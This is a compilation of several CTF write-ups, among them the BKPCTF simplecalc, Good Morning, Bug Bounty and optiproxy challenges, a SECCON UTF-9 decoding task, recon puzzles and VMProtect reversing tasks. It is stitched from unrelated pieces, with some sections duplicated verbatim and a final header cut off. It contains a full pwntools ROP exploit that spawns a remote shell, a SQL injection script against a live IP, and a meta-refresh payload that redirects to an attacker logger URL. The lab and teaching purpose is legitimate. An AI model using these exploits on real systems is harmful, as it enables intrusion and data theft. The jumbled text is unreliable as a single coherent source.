0x7ffe47681940: 0x00000001 0x00000000 0x00000001 0x00000000 0x7ffe47681950: 0x47681a68 0x00007ffe 0x00401c77 0x00000000 0x7ffe47681960: 0x004002b0 0x00000000 0x00000005 0x000000be 0x7ffe47681970: 0x00bcabd0 0x00000000 0x00401c00 0x0000005a 0x7ffe47681980: 0x006c1018 0x00000000 0x0040176c 0x00000000 0x7ffe47681990: 0x00000000 0x00000000 0x00000000 0x00000001 0x7ffe476819a0: 0x47681a68 0x00007ffe 0x00401383 0x00000000 0x7ffe476819b0: 0x004002b0 0x00000000 0x0aa3d5f9 0xf71192f8
when memcpy() is called our pointers are going to be overwritten
=> 0x401545 <main+450>: call 0x4228d0 <memcpy> 0x40154a <main+455>: mov rax,QWORD PTR [rbp-0x10] 0x40154e <main+459>: mov rdi,rax 0x401551 <main+462>: call 0x4156d0 <free> 0x401556 <main+467>: mov eax,0x0 Guessed arguments: arg[0]: 0x7ffe47681940 --> 0x1 arg[1]: 0xbcabd0 ("AA...") arg[2]: 0x2f8 arg[3]: 0xbcabd0 ("AAAA..."...)
the only problem that remains to overcome is the fact that these set of instructions is called before the main function returns
0x40154a <main+455>: mov rax,QWORD PTR [rbp-0x10] 0x40154e <main+459>: mov rdi,rax 0x401551 <main+462>: call 0x4156d0 <free>
if we don't have a proper buffer, free() would receive an invalid address and throw an ABORT signal causing our exploitation process to fail.
This can be easily circumvented by manipulating the buffer in such a way that 0 is passed as an argument to free()
In fact free() can accept 0 as arguments, and this simply means the function does nothing. (nice find from superkojiman)
at this point main will return into our buffer and we are in control of RIP.
From here on what remains to do is to build a ROP chain that would spawn a shell.
superkojiman set up a mprotect() + read() ROP chain using the statically linked functions and after some troubles caused by buffer alignment issues he managed to smoothly pop a shell on the system to read the flag
The following is our final exploit.
```python#!/usr/bin/env python
from pwn import *
context(arch="amd64", os="linux")
def add_align(): # align address r.send("2\n") print r.recv() r.send("12345678\n") print r.recv() r.send("12345678\n") print r.recv()
#r = remote("localhost", 2323)r = remote("simplecalc.bostonkey.party", 5400)
print r.recv()r.send("190\n")print r.recv()
#x + y = 1094795585 == 0x41414141x = 85y = 1094795500
# subtract so when free is called, we get free(0) which is validfor a in range(0, 14): r.send("2\n") print r.recv() r.send("12345678\n") print r.recv() r.send("12345678\n") print r.recv()
# padding to get to RIPfor a in range(0, 4): r.send("1\n") print r.recv() r.send(str(x)+"\n") print r.recv() r.send("1094795500\n") print r.recv() x = x + 1
"""ROP gadgets0x0000000000474c6a: pop rax; ret;0x0000000000493fef: pop rdi; ret;0x00000000004ac9b8: pop rsi; ret;0x0000000000437a85: pop rdx; ret;0x0000000000437aa9: pop rdx; pop rsi; ret;0x0000000000467f95: syscall; ret;"""
# RIP overwrite here
#__[start mprotect ROP chain]__#r.send("1\n")print r.recv()r.send("12345\n")print r.recv()#r.send("1094795500\n")r.send("4788150\n") # 12345 + 4788150 = 0x493fef ; pop rdi; retprint r.recv()
add_align()
r.send("1\n")print r.recv()r.send("85\n")print r.recv()r.send("7077803\n") # 85 + 7077803 = 0x6c0000 ; addr to mprotect rwxprint r.recv()
add_align()
r.send("1\n")print r.recv()r.send("12345\n")print r.recv()r.send("4409968\n") # 12345 + 4409968 = 0x437aa9 ; pop rdx; pop rsi; retprint r.recv()
add_align()
r.send("2\n")print r.recv()r.send("12352\n")print r.recv()r.send("12345\n") # 12352 - 12345 = 7 ; rwxprint r.recv()
add_align()
r.send("1\n")print r.recv()r.send("85\n")print r.recv()r.send("12203\n") # 85 + 12203 = 0x3000 ; len to mprotectprint r.recv()
add_align()
r.send("1\n")print r.recv()r.send("12345\n")print r.recv()r.send("4660273\n") # 12345 + 4660273 = 0x474c6a ; pop rax; pop rsi; retprint r.recv()
add_align()
r.send("2\n")print r.recv()r.send("12345\n")print r.recv()r.send("12335\n") # 12345 - 12335 = 10 ; sys_mprotectprint r.recv()
add_align()
r.send("1\n")print r.recv()r.send("12345\n")print r.recv()r.send("4607836\n") # 12345 + 4607836 = 0x467f95: syscall; ret;print r.recv()#__[end mprotect ROP chain]__#
#__[start read ROP chain]__#add_align()
r.send("1\n")print r.recv()r.send("12345\n")print r.recv()#r.send("1094795500\n")r.send("4788150\n") # 12345 + 4788150 = 0x493fef ; pop rdi; retprint r.recv()
add_align()add_align() # reuse this to set rdi (stdin) = 0add_align()
r.send("1\n")print r.recv()r.send("12345\n")print r.recv()r.send("4409968\n") # 12345 + 4409968 = 0x437aa9 ; pop rdx; pop rsi; retprint r.recv()
add_align()
r.send("1\n")print r.recv()r.send("85\n")print r.recv()r.send("12203\n") # 85 + 12203 = 0x3000 ; len to readprint r.recv()
add_align()
r.send("1\n")print r.recv()r.send("85\n")print r.recv()r.send("7077803\n") # 85 + 7077803 = 0x6c0000 ; addr to store data toprint r.recv()
add_align()
r.send("1\n")print r.recv()r.send("12345\n")print r.recv()r.send("4607836\n") # 12345 + 4607836 = 0x467f95: syscall; ret;print r.recv()
add_align()
r.send("1\n")print r.recv()r.send("85\n")print r.recv()r.send("7077803\n") # 85 + 7077803 = 0x6c0000 ; return to payloadprint r.recv()
#__[end read ROP chain]__#
r.send("5\n");
print "Press ENTER to send shellcode"raw_input()r.send(asm(shellcraft.linux.sh() + "\n"))
r.interactive()
```
and here we see it in action.
# ./sploit.py [+] Opening connection to simplecalc.bostonkey.party on port 5400: Done
|#------------------------------------#| | Something Calculator | |#------------------------------------#|
Expected number of calculations: Options Menu: [1] Addition. [2] Subtraction. [3] Multiplication. [4] Division. [5] Save and Exit. => Integer x: Integer y: Result for x - y is 0. . . . [*] Switching to interactive mode Integer y: Result for x + y is 7077888.
Options Menu: [1] Addition. [2] Subtraction. [3] Multiplication. [4] Division. [5] Save and Exit. => $ id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) $ ls -la total 2052 drwxr-xr-x 2 calc calc 4096 Mar 5 03:24 . drwxr-xr-x 3 root root 4096 Mar 4 05:04 .. -rw-r--r-- 1 calc calc 220 Mar 4 05:04 .bash_logout -rw-r--r-- 1 calc calc 3637 Mar 4 05:04 .bashrc -rw-r--r-- 1 calc calc 675 Mar 4 05:04 .profile -rw-r--r-- 1 root root 32 Mar 4 05:23 key -rwxr-xr-x 1 root root 80 Mar 5 03:24 run.sh -rwxrwxr-x 1 calc calc 882266 Mar 5 03:24 simpleCalc -rwxrwxr-x 1 calc calc 882266 Mar 5 03:23 simpleCalc_v2 -rw-r--r-- 1 root root 302348 Feb 1 2014 socat_1.7.2.3-1_amd64.deb $ cat key BKPCTF{what_is_2015_minus_7547} [*] Got EOF while reading in interactive ###
the flag is **BKPCTF{what_is_2015_minus_7547}** |
Participated as dcua.
## Good Morning (3pt)
The server pretty seem to be decent, but I've wasted a lot of time testing in a local server.
The intended way was to bypass the escape_string() feature, by eating up the escaped character to make one backslash with one quote. (```\\"``` => ```?\"```)
bypassing ```escape_string()``` does not work on an UTF-8 encoding, however server used a SJIS encoding, which has a potential of escape string problems.
```#!/usr/bin/python#-*- coding: utf-8 -*-
from websocket import create_connectionimport jsonimport sys0reload(sys)sys.setdefaultencoding("ISO-8859-1")
INJ = " AND 1=0 UNION SELECT COLUMN_NAME,2,3 FROM INFORMATION_SCHEMA.COLUMNS -- "
# SELECT * FROM answers WHERE question="%s" AND answer="%s"
payload = '¥\u005c'
#ws = create_connection("ws://localhost:5000/ws")ws = create_connection("ws://52.86.232.163:32800/ws")result = ws.recv()
packet = '''{"type":"get_answer","question":"'''+payload+'''","answer":"'''+INJ+'''"}'''print(">>> '%s'" % packet)ws.send(packet)
result = ws.recv()print "<<< '%s'" % resultws.close()```
```>>> '{"type":"get_answer","question":"¥\u005c","answer":" AND 1=0 UNION SELECT TABLE_NAME, COLUMN_NAME, 3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=0x67616e6261747465 LIMIT 1,1 -- "}'<<< '{"type": "got_answer", "row": ["answers", "id", "3"]}'<<< '{"type": "got_answer", "row": ["answers", "question", "3"]}'<<< '{"type": "got_answer", "row": ["answers", "answer", "3"]}'<<< '{"type": "got_answer", "row": null}'
...
>>> '{"type":"get_answer","question":"¥\u005c","answer":" AND 1=0 UNION SELECT id, question, answer FROM answers WHERE id=1 -- "}'<<< '{"type": "got_answer", "row": [1, "flag", "BKPCTF{TryYourBestOnTheOthersToo}"]}'
BKPCTF{TryYourBestOnTheOthersToo}```
## Bug Bounty (3pt)
Sounded more like a XSS challenge at the beginning, but CSP header was blocking to inject inline scripts and send the data back to our serverㄴ.
```Content-Security-Policy: default-src 'none'; connect-src 'self'; frame-src 'self'; script-src 52.87.183.104:5000/dist/js/ 'sha256-KcMxZjpVxhUhzZiwuZ82bc0vAhYbUJsxyCXODP5ulto=' 'sha256-u++5+hMvnsKeoBWohJxxO3U9yHQHZU+2damUA6wnikQ=' 'sha256-zArnh0kTjtEOVDnamfOrI8qSpoiZbXttc6LzqNno8MM=' 'sha256-3PB3EBmojhuJg8mStgxkyy3OEJYJ73ruOF7nRScYnxk=' 'sha256-bk9UfcsBy+DUFULLU6uX/sJa0q7O7B8Aal2VVl43aDs='; font-src 52.87.183.104:5000/dist/fonts/ fonts.gstatic.com; style-src 52.87.183.104:5000/dist/css/ fonts.googleapis.com; img-src 'self';```
```$ cat inline.txt | openssl dgst -sha256 -binary | openssl base64 # There are 5 hashes in the CSP headerKcMxZjpVxhUhzZiwuZ82bc0vAhYbUJsxyCXODP5ulto= // ?????u++5+hMvnsKeoBWohJxxO3U9yHQHZU+2damUA6wnikQ= // "register user" scriptzArnh0kTjtEOVDnamfOrI8qSpoiZbXttc6LzqNno8MM= // "submit bug" script3PB3EBmojhuJg8mStgxkyy3OEJYJ73ruOF7nRScYnxk= // "show_report" scriptbk9UfcsBy+DUFULLU6uX/sJa0q7O7B8Aal2VVl43aDs= // captcha page script that loads captchas etc```
As we searched for files in ```/dist/js```,
```http://52.87.183.104:5000/dist/js/angular.min.jshttp://52.87.183.104:5000/dist/js/app.jshttp://52.87.183.104:5000/dist/js/angular-route.min.js```
We were able to utilize AngularJS to initiate XSS payloads, but it was still not enough due to the CSP header.
so now what? Just use ```meta``` tag to get the request header, and you see the damn flag.
```<meta http-equiv="refresh" content="0; url=http://yourdomain.com/logger.php" />```
```BKPCTF{choo choo__here comes the flag}```
lol.
## optiproxy (2pt)
Was pretty easy,
```#http://optiproxy.bostonkey.party:5300/source
...
begin if (uri_scheme == "http" or uri_scheme == "https") url = image else url = "http://#{url}/#{image}" end img_data = open(url).read b64d = "data:image/png;base64," + Base64.strict_encode64(img_data) img['src'] = b64d rescue # gotta catch 'em all puts "lole" next end...
```
```<html><body> </body></html>```
```BKPCTF{maybe dont inline everything.}``` |
##4042 (Misc/Crypto, 100p)
```Unknown document is found in ancient ruins, in 2005.Could you figure out what is written in the document?```
###PL[ENG](#eng-version)
Dostajemy [plik](no-network.txt) który mamy zdekodować. Podpowiedź stanowi `4042` oraz rok `2005`. Pozwala nam to dotrzeć do RFC4042: https://www.ietf.org/rfc/rfc4042.txt które w ramach żartu opisuje kodowanie UTF-9.Domyślamy się, że właśnie z takim kodowaniem mamy do czynienia i w celu odczytania flagi musimy napisać dekoder.Każdy znak jest kodowany na 9 bitach, gdzie najstarszy bit oznacza że znak jest kontynuowany na kolejnym bajcie. Pozostałe bity określają znak.Piszemy więc prosty kod:
```pythondef convert_single_char(start_pos, bits): end_pos = 9 continuation = int(bits[start_pos]) character = bits[start_pos + 1:start_pos + 9] c = int(character, 2) if continuation: character = bits[start_pos + 9:start_pos + 18] c <<= 8 c += int(character, 2) end_pos += 9 return unichr(c), end_pos```Który dla ciągu bitów oraz pozycji startowej zwraca zdekodowany znak oraz ostanią użytą pozycję.Dane wejściowe traktujemy jako liczbę w systemie ósemkowym a następnie dekodujemy za pomocą przygotowanego [skryptu](4042.py).W efekcie dostajemy flagę:
![](flag.png)
czyli:
`SECCON{A_GROUP_OF_NINE_BITS_IS_CALLED_NONET}`
### ENG version
We get [a file](no-network.txt) which we are supposed to decode. A starting point is `4042` and year `2005`. This leads us to RFC4042: https://www.ietf.org/rfc/rfc4042.txt which is a joke describing UTF-9 encoding.We assume we will have to decode input file using this strange encoding so we need a decoder.Each character is encoded on 9 bits, where the most significant bit signals that the character is continued on another byte. Rest of the bits are left for the data itself.
We make a simple decoder:
```pythondef convert_single_char(start_pos, bits): end_pos = 9 continuation = int(bits[start_pos]) character = bits[start_pos + 1:start_pos + 9] c = int(character, 2) if continuation: character = bits[start_pos + 9:start_pos + 18] c <<= 8 c += int(character, 2) end_pos += 9 return unichr(c), end_pos```Which takes a list of bits and start position and returns a chracter and index of last used position.We treat input data as a large oct number and decode with prepared [script](4042.py).As a result we get:
![](flag.png)
which is:
`SECCON{A_GROUP_OF_NINE_BITS_IS_CALLED_NONET}` |
# Programming (Pretty much _"Recon"_)
##Programming 1**Q: So you reached Delhi and now the noise in your head is not allowing you to think rationally. The Nosise in your head has origin its Origin in your Stomach. And this is a big hunger. You can finish one or probably 2 Tandoori Chicken. So where can you get the best Tandoori Chicken in Delhi? This place tweeted last week that the Tandoori Chicken it servers is like never B4. You got its twitter handle?**
- This challenge could be solved in one of two ways. You could use a scraper to find a post or spend 30 seconds searching for Tandoori Chicken on twitter. We opted for the fastest way and searched for "tandoori chicken like never before."
The first tweet displayed was by @AnyaHotels, https://twitter.com/AnyaHotels/status/690040639619227648. The Flag was the twitter handle @AnyaHotels.
##Programming 2**Q: Your simple good Deeds can save you but your GREED can kill you. This has happened before. This greedy person lived a miserable life just for the greed of gold and lust. You must know him, once you know him, you must reach his capital and next clues will be given by his famous EX-Body Guard. This file consists of few paragraphs. Each paragraph singles out one Alphabet. Scrambling those Alphabets will help you to know the country of this Ruler. Who was this Ruler?**
- The file given contained the following text :
**along with azalaan, country has became a major tourist attraction, with as many landmarks as Paris, such as Great Tribal Pyramid and 3,000 year old statue of the Gold Fartility Go it has a recast as a statue of Haffaz azalaan due to public outcry. Due to the lack of foreign investment, azalaann has attempted to offer 400,000 square miles of desert land to countries wishing to test missiles or to dump chemical waste.
lion is 1 of the 5 n live big cats, lives in the long parallel Panthera family Fellidae. Commonlly used term African lion collectively denotes several clubs found in Africa. With some males of 250 kg (550 lb) weight, lion the second-largest living cat. Wild lions currentlly exist in sub-Saharan Africa and Asia (large n legally protected popullation resides in Gir Forest National Park in India) while other types of lions pulled up popullation from North Africa.
Since in time immemorial, earliest known in 5 August 1730 at Bizilabithi, Knit between Knit in London. The London-based nickle miner St James Irven Post irrupted on Fri, 8 April: "'Twas thought that the Kentish champions would have lost their honours by being bitten in innings if time had permitted". This is the first time word "innings" is found in records. Incidentally, it is first time this "champions" is found in is significant it confirms this idea of champion city established among cricket this is the earliest known instance of this filling
The borbons books club was always being busy. Carbaboni Candlebar was webbed with brothers books being busted in the big bag.The night became darker by passing bits and sounds of beasts barking at the busy subway. Its believed to be coroborated by the best in the subsudry in bank of brisbane being called and brought in during military service. As Cbaboni bceomes aware, she starts building love for brother and about bincent really became.
Really utility stocks ( by the way including city food supply, gas supply water supply fully busy road supply) have provided highly good yield and way for envysor not only live or lay by dividend, but have supply opportunity, try solidify a sundry. By this hy yeild they listed fully utility stocks they can really purchase. Virtually shares lysted by U.S. were sharess by few way inferior and not listed in Newyork.**
- This challenge involved analysing the frequency of letters in each paragraph and recording the letter with the highest frequency in each paragraph. We used the word frequency counter from https://www.mtholyoke.edu/courses/quenell/s2003/ma139/js/count.html to get this done.
- Once that is done you get the letters: A L I B Y -Rearraging these letters we get LIBYA. From this we deduced that the challange was looking for Ghaddafi which happened to be the flag.
##Programming 3**Q: Still Hungry and unsutisfied, you are looking for more. Some more, unique un heard dishes. Then you can find one to make it your self. Its his Dish. He has his own website which is he describes as " a social home for each of our passions". The link to his website is on his google+ page. whats the name of his site. By the way he loves and hogs on "Onion Kheer". Have you heard of "Onion Kheer"?**
- The solution was simple. Searching for Onion kheer on google plus provides you with multiple results on Chef BB. The flag was affimity.com which was found on one of the top three resuts.
##Programming 4**Q: One of the _"NullCon"_ vidoes talked about a marvalous Russian Gift. The Vidoe was uploaded on [_"May of 2015"_] What is the ID of that _"Youtube video"_.**
- This was a very simple "recon" question. If you look at the "quoted" words in the question, you go to Youtube and search for "Nullcon" and you will see its channel, under the channel's videos category, you just look for the video that was uploaded back in May of 2015. There are few videos uploaded in May of 2015, but you have unlimited submission chance, so try it until you find the correct one.
- The _"ID"_ can be found in the URL. The correct video had the following URL: "https://www.youtube.com/watch?v=a4_PvN_A1ts". After the "watch?v=", "a4_PvN_A1ts" is the video's ID.
- Therefore the answer was: **"a4_PvN_A1ts"**
##Programming 5**Q: Dont blink your Eyes, you might miss it. But the fatigue and exhaustion rules out any logic, any will to stay awake. What you need now is a slumber. Cat nap will not do. 1 is LIFE and 0 is DEAD. in this GAME OF LIFE sleep is as important food. So... catch some sleep. But Remember...In the world of 10x10 matirx, the Life exists. If you SLOTH, sleep for 7 Ticks, or 7 Generation, In the game of Life can you tell what will be the state of the world?
The world- 10x10
0000000000,0000000000,0001111100,0000000100,0000001000,0000010000,0000100000,0001000000,0000000000,000000000**
- The challenge referres to Conways Game of life. We first started off by looking for a 10x10 version of the game online and found one at he following link: http://www.edshare.soton.ac.uk/948/5/gol.html. We then filled in the blocks using the binary numbers given using 1 as LIFE and 0 as DEAD. The game was runfor 7 generations and the resulting row binaries gave the flag. |
# HI (Reverse, 200)
In the task description we are given the following info:
>The Program is registerd for following system specification: >Processor type: Intel Itanium-based >Number of processors: 64 >Physical RAM => 128GB >OS version: 12.2 Build 1200
A little bit info about task file:>File name: HI2.exe >File type: Win32 PE Executable >SHA1: 8dd906f847bc21078eeb95af69944a4d966eefec
Quick look at the file in CFF Explorer reveals the following:>_8_ sections, _2_ of which are **.vmp0** and **.vmp1** >TLS directory >Export directory
Just to make sure that we are dealing with VMProtect, let's just take a peek at image's entry point:```004F22CE /E9 54370000 jmp HI2.004F5A27004F22D3 ^|E9 22B5FFFF jmp HI2.004ED7FA004F22D8 |B3 8B mov bl,8B...004F5A27 50 push eax004F5A28 60 pushad004F5A29 C74424 20 0BAAB1FF mov dword ptr ss:[esp+20],FFB1AA0B004F5A31 66:C70424 59BA mov word ptr ss:[esp],0BA59004F5A37 C74424 1C 8BC4B62B mov dword ptr ss:[esp+1C],2BB6C48B004F5A3F 885424 04 mov byte ptr ss:[esp+4],dl004F5A43 8D6424 1C lea esp,dword ptr ss:[esp+1C]004F5A47 E9 B2110D00 jmp HI2.005C6BFE```
Now we're 100% sure it's indeed VMProtect.Ok, but what does it mean?In general cases VMProtect is used to change (_virtualize_) the code to such form that the original form is lost and unrecoverable. In this case though, it means that authors doesn't want us to play with the application code itself, but they want us to focus on values returned by some system functions.
Debugger settings (ollydbg v1.10)> Options/Debugging options/Events/System breakpoint > StrongOD plugin, check the option "Remove EP one-shot"
Before we take a look into file itself, let's run just run it and see what it says:![hi-00.png](hi-00.png)
That should be enough, let's take a look at the MSDN, and find function(s) that could provide us at least part of the information we need.
The first one we need is `GetSystemInfo()```` c++void WINAPI GetSystemInfo( _Out_ LPSYSTEM_INFO lpSystemInfo);```
Function returns `SYSTEM_INFO`structure, of which 2 fields are interesting for us.``` c++typedef struct _SYSTEM_INFO { union { DWORD dwOemId; struct { WORD wProcessorArchitecture; // *interesting for us* WORD wReserved; }; }; DWORD dwPageSize; LPVOID lpMinimumApplicationAddress; LPVOID lpMaximumApplicationAddress; DWORD_PTR dwActiveProcessorMask; DWORD dwNumberOfProcessors; // *interesting for us* DWORD dwProcessorType; DWORD dwAllocationGranularity; WORD wProcessorLevel; WORD wProcessorRevision;} SYSTEM_INFO;```
We need to change these fields accordingly: `wProcessorArchitecture` needs to be equal to `PROCESSOR_ARCHITECTURE_IA64`which is `0x0006` `dwNumberOfProcessors`needs to be equal to `0x40`
Next function that seems to be interesing for us is `GlobalMemoryStatusEx()```` c++BOOL WINAPI GlobalMemoryStatusEx( _Inout_ LPMEMORYSTATUSEX lpBuffer);```Function returns `MEMORYSTATUSEX`structure, of which one field is interesting for us.``` c++typedef struct _MEMORYSTATUSEX { DWORD dwLength; DWORD dwMemoryLoad; DWORDLONG ullTotalPhys; // *interesting for us* DWORDLONG ullAvailPhys; DWORDLONG ullTotalPageFile; DWORDLONG ullAvailPageFile; DWORDLONG ullTotalVirtual; DWORDLONG ullAvailVirtual; DWORDLONG ullAvailExtendedVirtual;} MEMORYSTATUSEX, *LPMEMORYSTATUSEX;```To satisfy task requirements let's change `ullTotalPhys` to `0x0000001FFFFFFFFF` .
The last function which output we're going to change is `GetVersion()```` c++DWORD WINAPI GetVersion(void);```Return value has the following form `XXXXYYZZ`:```XXXX - build YY - minor version ZZ - major version```The expected value thus is:`0x04B0020C`.
And that's it, when everyting was done right, we are given the flag:
![hi-01.png](hi-01.png)
Flag: ef71d59e50c5fc4cd7604db77da16de8 Ps. How to set breakpoints and override the returned values is left to readers as homework. |
Participated as dcua.
## Good Morning (3pt)
The server pretty seem to be decent, but I've wasted a lot of time testing in a local server.
The intended way was to bypass the escape_string() feature, by eating up the escaped character to make one backslash with one quote. (```\\"``` => ```?\"```)
bypassing ```escape_string()``` does not work on an UTF-8 encoding, however server used a SJIS encoding, which has a potential of escape string problems.
```#!/usr/bin/python#-*- coding: utf-8 -*-
from websocket import create_connectionimport jsonimport sys0reload(sys)sys.setdefaultencoding("ISO-8859-1")
INJ = " AND 1=0 UNION SELECT COLUMN_NAME,2,3 FROM INFORMATION_SCHEMA.COLUMNS -- "
# SELECT * FROM answers WHERE question="%s" AND answer="%s"
payload = '¥\u005c'
#ws = create_connection("ws://localhost:5000/ws")ws = create_connection("ws://52.86.232.163:32800/ws")result = ws.recv()
packet = '''{"type":"get_answer","question":"'''+payload+'''","answer":"'''+INJ+'''"}'''print(">>> '%s'" % packet)ws.send(packet)
result = ws.recv()print "<<< '%s'" % resultws.close()```
```>>> '{"type":"get_answer","question":"¥\u005c","answer":" AND 1=0 UNION SELECT TABLE_NAME, COLUMN_NAME, 3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=0x67616e6261747465 LIMIT 1,1 -- "}'<<< '{"type": "got_answer", "row": ["answers", "id", "3"]}'<<< '{"type": "got_answer", "row": ["answers", "question", "3"]}'<<< '{"type": "got_answer", "row": ["answers", "answer", "3"]}'<<< '{"type": "got_answer", "row": null}'
...
>>> '{"type":"get_answer","question":"¥\u005c","answer":" AND 1=0 UNION SELECT id, question, answer FROM answers WHERE id=1 -- "}'<<< '{"type": "got_answer", "row": [1, "flag", "BKPCTF{TryYourBestOnTheOthersToo}"]}'
BKPCTF{TryYourBestOnTheOthersToo}```
## Bug Bounty (3pt)
Sounded more like a XSS challenge at the beginning, but CSP header was blocking to inject inline scripts and send the data back to our serverㄴ.
```Content-Security-Policy: default-src 'none'; connect-src 'self'; frame-src 'self'; script-src 52.87.183.104:5000/dist/js/ 'sha256-KcMxZjpVxhUhzZiwuZ82bc0vAhYbUJsxyCXODP5ulto=' 'sha256-u++5+hMvnsKeoBWohJxxO3U9yHQHZU+2damUA6wnikQ=' 'sha256-zArnh0kTjtEOVDnamfOrI8qSpoiZbXttc6LzqNno8MM=' 'sha256-3PB3EBmojhuJg8mStgxkyy3OEJYJ73ruOF7nRScYnxk=' 'sha256-bk9UfcsBy+DUFULLU6uX/sJa0q7O7B8Aal2VVl43aDs='; font-src 52.87.183.104:5000/dist/fonts/ fonts.gstatic.com; style-src 52.87.183.104:5000/dist/css/ fonts.googleapis.com; img-src 'self';```
```$ cat inline.txt | openssl dgst -sha256 -binary | openssl base64 # There are 5 hashes in the CSP headerKcMxZjpVxhUhzZiwuZ82bc0vAhYbUJsxyCXODP5ulto= // ?????u++5+hMvnsKeoBWohJxxO3U9yHQHZU+2damUA6wnikQ= // "register user" scriptzArnh0kTjtEOVDnamfOrI8qSpoiZbXttc6LzqNno8MM= // "submit bug" script3PB3EBmojhuJg8mStgxkyy3OEJYJ73ruOF7nRScYnxk= // "show_report" scriptbk9UfcsBy+DUFULLU6uX/sJa0q7O7B8Aal2VVl43aDs= // captcha page script that loads captchas etc```
As we searched for files in ```/dist/js```,
```http://52.87.183.104:5000/dist/js/angular.min.jshttp://52.87.183.104:5000/dist/js/app.jshttp://52.87.183.104:5000/dist/js/angular-route.min.js```
We were able to utilize AngularJS to initiate XSS payloads, but it was still not enough due to the CSP header.
so now what? Just use ```meta``` tag to get the request header, and you see the damn flag.
```<meta http-equiv="refresh" content="0; url=http://yourdomain.com/logger.php" />```
```BKPCTF{choo choo__here comes the flag}```
lol.
## optiproxy (2pt)
Was pretty easy,
```#http://optiproxy.bostonkey.party:5300/source
...
begin if (uri_scheme == "http" or uri_scheme == "https") url = image else url = "http://#{url}/#{image}" end img_data = open(url).read b64d = "data:image/png;base64," + Base64.strict_encode64(img_data) img['src'] = b64d rescue # gotta catch 'em all puts "lole" next end...
```
```<html><body> </body></html>```
```BKPCTF{maybe dont inline everything.}``` |
# Maze3 (Reverse, 400)
In the task description we are given the following info:>Play the game and capture the flag!
A little bit info about task file:>File name: Maze3.exe >File type: Win32 PE Executable >SHA1: a7546206830d0c6ca136598615a25a8232903d7b
Tools used: >Ollydbg 2 with ScyllaHide plugin
Task is again packed with VMProtect, but this time we're going to dig a big deeper. To start with, make sure your debugger is set to `Break on Tls`.
>**Note:** >Tls callbacks are executed before VMProtect's Entry Point, that's why we want to start there.
Now we're going to find a one of VMProtect's handlers called `vm-exit`. In order to do so, we need to perform a `run trace into` (which will log all executed instructions to file if set up correctly).
Let's now find the first `ret` instruction that is different from the most common ones. ```findstr /c:"ret" runtrace.log```
The output should yield something like:```...main Maze3.0088A431 retn 3C ESP=0012F90Cmain Maze3.0088A431 retn 3C ESP=0012F90Cmain Maze3.0088A431 retn 3C ESP=0012F90Cmain Maze3.0088A84E retn 18 ESP=0012FA10 // *interesting for us*main ntdll.77F1896E retn 10 ESP=0012FA34main ntdll.77EDF58A retn 8 ESP=0012FA70...```
Having `runtrace.log` opened in our favourite editor, let's now find the beginning of `vm-exit` handler. As we've found the right address (in this case `0088A84E`), we need to go up until we reach the beginning of the handler (which is the first instruction after the most common `ret`) which in this case is `0088A1CB`.
Just to clarify the `vm-exit` handler starts at `0088A1CB` and ends at `0088A84E`.
It should look like this:```0088A1CB 60 pushad 0088A1CC D4 F1 aam 0F10088A1CE FF3424 push dword ptr ss:[esp]0088A1D1 C60424 9C mov byte ptr ss:[esp],9C0088A1D5 89EC mov esp,ebp0088A1D7 D2CC ror ah,cl0088A1D9 2F das0088A1DA 58 pop eax```
Let's copy some of its bytes as we're going to need them later.```60 D4 F1 FF 34 24 C6 04 24 9C 89 EC D2 CC 2F 58```
Change your debugger settings to make a pause at `System breakpoint`.
>**Note:** >At this point it doesn't really matter if it's `System breakpoint` or `Entry point of main module` >as we are going to run the application eventually. >But experience always says: _the sooner (earlier in this case) the better_
Run the application, and in memory view let's search (globally) for `vm-exit` binary pattern we saved earlier.If we've done everything right, we should have a match on already unpacked code at address `004015AA`.
Now let's move on to `004015AA`, follow the code till `retn 18` and set there hardware logging breakpoint on execution (it should log the destination address of `retn 18`. The expression could simply be `dword ptr [esp+18]`).
Restart the application and run it again.
>**Note:** >At this point log window should contain every address that the `vm-exit` handler has reached.
Let's go briefly through the addresses in logs:```...77E2EA51 GetSystemTime 8BFF mov edi, edi008B81C0 malloc 8BFF mov edi, edi100334C0 ?sputn@?$basic_streambuf 55 push ebp00401967 (!!) C745 FC 01000000 mov dword ptr ss:[ebp-4], 1...```
The code that is pretty interesing for us is under `00401967`. Let's put there hardware breakpoint on execution, remove all other breakpoints, restart the application and run it again.
>**Note:** >At this point the application's console window has written `Longest Path has `
As we hit a breakpoint on `00401967`, let's dump a bit of stack.
```0012FE30 586E4F020012FE34 002DE0F4 ucrtbase.002DE0F40012FE38 00085DE00012FE3C 7FFDF0000012FE40 10063DB8 offset msvcp140.?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A0012FE44 000000010012FE48 000002060012FE4C 004031DC ASCII "Longest Path has "0012FE50 000002160012FE54 000000000012FE58 000000110012FE5C 10063DB8 offset msvcp140.?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A0012FE60 0012FE30 ASCII 02,"On"0012FE64 0012FF78 Pointer to next SEH record0012FE68 0040284E SE handler0012FE6C 000000020012FE70 0012FF3C0012FE74 0052A1D1 Maze3.0052A1D10012FE78 0042EF00 Maze3.0042EF000012FE7C 00085DE00012FE80 002DE0F4 ucrtbase.002DE0F40012FE84 002DE76C ucrtbase.002DE76C0012FE88 7FFDF0000012FE8C 7FA587550012FE90 000000000012FE94 000002460012FE98 002DE76C ucrtbase.002DE76C0012FE9C 11798B860012FEA0 002C133F RETURN to ucrtbase.002C133F from ucrtbase.00232CBB0012FEA4 000000000012FEA8 005F2206 Maze3.005F22060012FEAC 000002060012FEB0 000002860012FEB4 F394D17E0012FEB8 01A600200012FEBC 000002460012FEC0 000002460012FEC4 00407074 RETURN to Maze3.00407074 from Maze3.00406DC00012FEC8 00402300 Maze3.004023000012FECC 00085DE00012FED0 00432C65 Maze3.00432C650012FED4 000002130012FED8 00A962100012FEDC 0202F000```
Having it saved, allow an app to continue so it's not stuck on breakpoint anymore.
>**Note:** >At this point the application's console window has written `Longest Path has 548320 nodes!`
Let's convert `548320` to hex (`0x85DE0`) and check for it against the stack we previously saved. We should have 3 matches:```0012FE38 00085DE0...0012FE7C 00085DE0...0012FECC 00085DE0```
You may now guess what would happen if we changed these values to let say `0`. I'll left it for your as practice.
Anyway, we got the flag: ![maze-00.png](maze-00.png)
Flag: Just_Hook_Get_System_Time_API_WooW |
# 32C3 CTF 2015 : gurke
**Category:** Misc**Points:** 300**Solves:** 111**Description:**
